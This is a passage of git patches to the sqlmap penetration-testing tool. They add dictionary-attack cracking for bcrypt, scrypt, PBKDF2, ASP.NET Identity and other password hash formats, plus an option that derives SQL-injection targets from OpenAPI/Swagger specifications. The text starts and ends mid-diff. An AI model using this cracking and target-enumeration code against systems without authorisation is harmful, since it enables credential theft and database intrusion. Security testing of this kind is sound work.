werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 @@ -560,6 +870,8 @@ def _encode64(input_, count): HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, @@ -572,9 +884,16 @@ def _encode64(input_, count): HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, @@ -591,6 +910,14 @@ def _encode64(input_, count): HASH.SHA512_BASE64: sha512_generic_passwd, } +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools +HASH_TOOL_HINTS = { + HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')", +} + def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() @@ -1023,9 +1350,14 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].__name__ - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash") + warnMsg += "built-in dictionary attack" + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -1043,7 +1375,7 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): @@ -1068,10 +1400,32 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] @@ -1102,7 +1456,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] From fe69e6bfcc88d59f4ad35f93753a75ec29392199 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:12:46 +0200 Subject: [PATCH 674/853] Adding support for --openapi --- data/txt/sha256sums.txt | 10 +- lib/core/option.py | 68 +++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 +- lib/parse/openapi.py | 361 +++++++++++++++++++++++++++++++ tests/test_openapi.py | 456 ++++++++++++++++++++++++++++++++++++++++ 7 files changed, 893 insertions(+), 10 deletions(-) create mode 100644 lib/parse/openapi.py create mode 100644 tests/test_openapi.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 17ec054954e..abab556e88b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py +91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py +227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py +1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,12 +200,13 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py +1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py +9cb95cc5136d5ac624860578099929fdb335face41026f79f49df4f52da9805d lib/parse/openapi.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py @@ -631,6 +632,7 @@ d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_ide caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py +a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py diff --git a/lib/core/option.py b/lib/core/option.py index e69067f68f5..8fd9c491d49 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -492,6 +492,65 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) +def _setOpenApiTargets(): + if not conf.openApiFile: + return + + from lib.parse.openapi import openApiTargets + + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + + origin = None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + content = openFile(conf.openApiFile).read() + + try: + targets = openApiTargets(content, origin) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -1852,7 +1911,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: @@ -2728,8 +2787,8 @@ def _basicOptionValidation(): errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" raise SqlmapSystemException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): - errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: @@ -3022,7 +3081,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -3038,6 +3097,7 @@ def init(): _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 21c6cfa37fd..d449259df3c 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -19,6 +19,7 @@ "sessionFile": "string", "googleDork": "string", "configFile": "string", + "openApiFile": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index d39b04e5201..50535bacb58 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.16" +VERSION = "1.10.7.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index dde875d912f..e8ddc2d4fc7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -144,6 +144,9 @@ def cmdLineParser(argv=None): target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") + target.add_argument("--openapi", dest="openApiFile", + help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") @@ -1172,7 +1175,7 @@ def _format_action_invocation(self, action): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py new file mode 100644 index 00000000000..996b5ece6a4 --- /dev/null +++ b/lib/parse/openapi.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from thirdparty import six +from thirdparty.six.moves.urllib.parse import quote as _quote + +try: + import yaml # optional (only needed for YAML specs) +except ImportError: + yaml = None + +# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The +# document is treated as a request generator, NOT a contract to validate: for every operation a single +# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any +# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully. + +MAX_REF_DEPTH = 25 + +def _loadSpec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional " + errMsg += "'pyyaml' module (needed for YAML specifications) is not available" + raise ValueError(errMsg) + try: + return yaml.safe_load(content) + except Exception as ex: + raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex)) + +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + logger.warning("skipping external OpenAPI $ref '%s'" % ref) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split('/'): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + logger.warning("skipping dangling OpenAPI $ref '%s'" % ref) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs + +def _example(spec, schema, seen=None, depth=0, cache=None): + # 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs + # (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this + # the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas. + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1) + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + _type = schema.get("type") + if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"]) + _type = next((_ for _ in _type if _ != "null"), None) + if _type == "object" or ("properties" in schema and not _type): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif _type == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif _type in ("integer", "number"): + value = 1 + elif _type == "boolean": + value = True + elif _type == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01' + return str(value) + +_NO_EXAMPLE = object() + +def _explicitExample(spec, container): + # a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a + # schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples' + # is a map of name -> {"value": ...} (each entry possibly a $ref). + if not isinstance(container, dict): + return _NO_EXAMPLE + if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return _NO_EXAMPLE + +def _noMark(text): + # strip any custom injection mark already present in a synthesized value so only the intentionally + # appended mark (if any) survives (avoids a stray/second injection point) + return text.replace(CUSTOM_INJECTION_MARK_CHAR, "") + +def _headerClean(text): + # remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other + # C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators) + +def _urlSafe(value, safe=""): + # percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&', + # '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps + # selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]). + try: + return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe) + except Exception: + return value + +def _baseUrl(spec, origin=None, servers=None): + # defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation + # try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level + # 'servers' (used for per-path / per-operation 'servers'). + basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed + basePath = "/" + basePath + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + default = meta.get("default", "1") if isinstance(meta, dict) else "1" + url = url.replace("{%s}" % name, str(default)) + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin) + return url.rstrip('/') + return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin + if spec.get("host"): # Swagger v2 with an explicit host + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/')) + return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin + +_METHODS = ("get", "post", "put", "delete", "patch", "options", "head") + +def openApiTargets(content, origin=None): + """ + Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger + specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' + (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' + entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry + the custom injection mark so they become testable injection points. + """ + + spec = _loadSpec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" + raise ValueError(errMsg) + + try: + rootBase = _baseUrl(spec, origin) + except Exception: # never let base-URL synthesis abort the whole run + rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else "" + isV2 = "swagger" in spec and "openapi" not in spec + retVal = [] + cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas) + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) # a Path Item object may itself be a $ref + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation + for method, operation in item.items(): + if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) + continue + try: + # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root + opServers = operation.get("servers") or item.get("servers") + base = rootBase + if opServers: + try: + base = _baseUrl(spec, origin, opServers) + except Exception: + base = rootBase + + # merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + urlPath = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in 